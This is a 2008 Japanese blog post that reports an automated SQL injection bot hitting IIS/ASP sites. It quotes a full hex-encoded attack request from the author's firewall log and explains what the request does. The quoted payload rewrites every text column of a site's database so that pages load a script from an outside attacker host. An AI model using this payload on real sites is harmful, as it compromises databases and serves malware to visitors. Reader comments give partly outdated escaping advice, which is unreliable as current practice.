BLOGTIMES
2008/10/02

忍び寄るSQLインジェクションの影

 
このエントリーをはてなブックマークに追加

セキュリティホール memoゴルフダイジェスト・オンラインで不正アクセス被害発生というエントリが載っていたのでいろいろと調べていたらSQLインジェクションを行うボットついてLACが注意喚起しているエントリがありました。

【CSL】CSL緊急注意喚起レポート~新手のSQLインジェクションを行使するボットの確認~ | LAC

新手のSQLインジェクション攻撃を実行するボットを確認しました。このボットに関しては海外1でも報告されています。この攻撃は、マイクロソフト社製のWebサーバIIS/ASP/ASP.NET上で開発されたWebサイトを狙ってデータベースの改ざんを行います。改ざんを狙うボットや攻撃はこれまで数多く存在していました。今回、注意喚起を行う理由は、攻撃方法が、これまでほとんど観測されていない手法だからです。

この注意喚起レポートで取り上げられているGETリクエストの例に何か見覚えがあるので、WAFのログを確認してみたら、Cookie経由ではありませんが同様と思われるSQLインジェクション攻撃をしようとした形跡が残っていました。

実際のログ

GET /item/2217?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535 292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F5220 73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732062 20776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20546162 6C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320 5748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D 20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E 73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077686572 6520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F 777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E 4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Foxy/1; .NET CLR 2.0.50727) Host: blog.cles.jp Connection: Keep-Alive

これはGETリクエストですが、おそらくLACの取り上げているリクエストに限りなく近いものですよね。デコードしてみるとこんな感じのSQLが出てきました。

SQL Injection - 忍び寄るSQLインジェクションの影

MS SQL Serverをほとんど扱ったことがないので、正確には分かりませんが、システム表からユーザーが定義したテーブルで、カラムの型が文字列型のものを探し出して、片っ端からJavaScriptを埋め込んでいく処理をするようです。メルマガの本文をDBなんかで管理していたりすると、不正なURLを含んだメールを配信してしまう可能性もありますね。

怖い世の中になったものです。


    トラックバックについて
    Trackback URL:
    お気軽にどうぞ。トラックバック前にポリシーをお読みください。[policy]
    このエントリへのTrackbackにはこのURLが必要です→https://blog.cles.jp/item/2750
    Trackbacks
    このエントリにトラックバックはありません
    Comments
    愛のあるツッコミをお気軽にどうぞ。[policy]
    古いエントリについてはコメント制御しているため、即時に反映されないことがあります。
    こん [OpenID] (2008/10/03 03:22) https://id.mixi.jp/112105 <%HatenaAuth()%>

    ひたすらサニタイズ&クエリ発行前に必ずphpの場合、mysql_escape_string 若しくは mysqli_real_escape_string
    php pdo の場合はquote
    とかを必ず通るように設計するとか、
    "とか'とか;とかその他制御コードをそのままいれず、必ずhtmlエンティティ変換で入れるとか
    無理な場合は使用できない文字として削除してしまった方が良いかも知れないですね。

    hsur (2008/10/05 18:40) <%HatenaAuth()%>

    phpだけでも頭痛いですが、言語がばらばらだったりするともう目も当てられないですね。。。

    Comments Form

    コメントは承認後の表示となります。
    OpenIDでログインすると、即時に公開されます。

    OpenID を使ってログインすることができます。

    Identity URL: Yahoo! JAPAN IDでログイン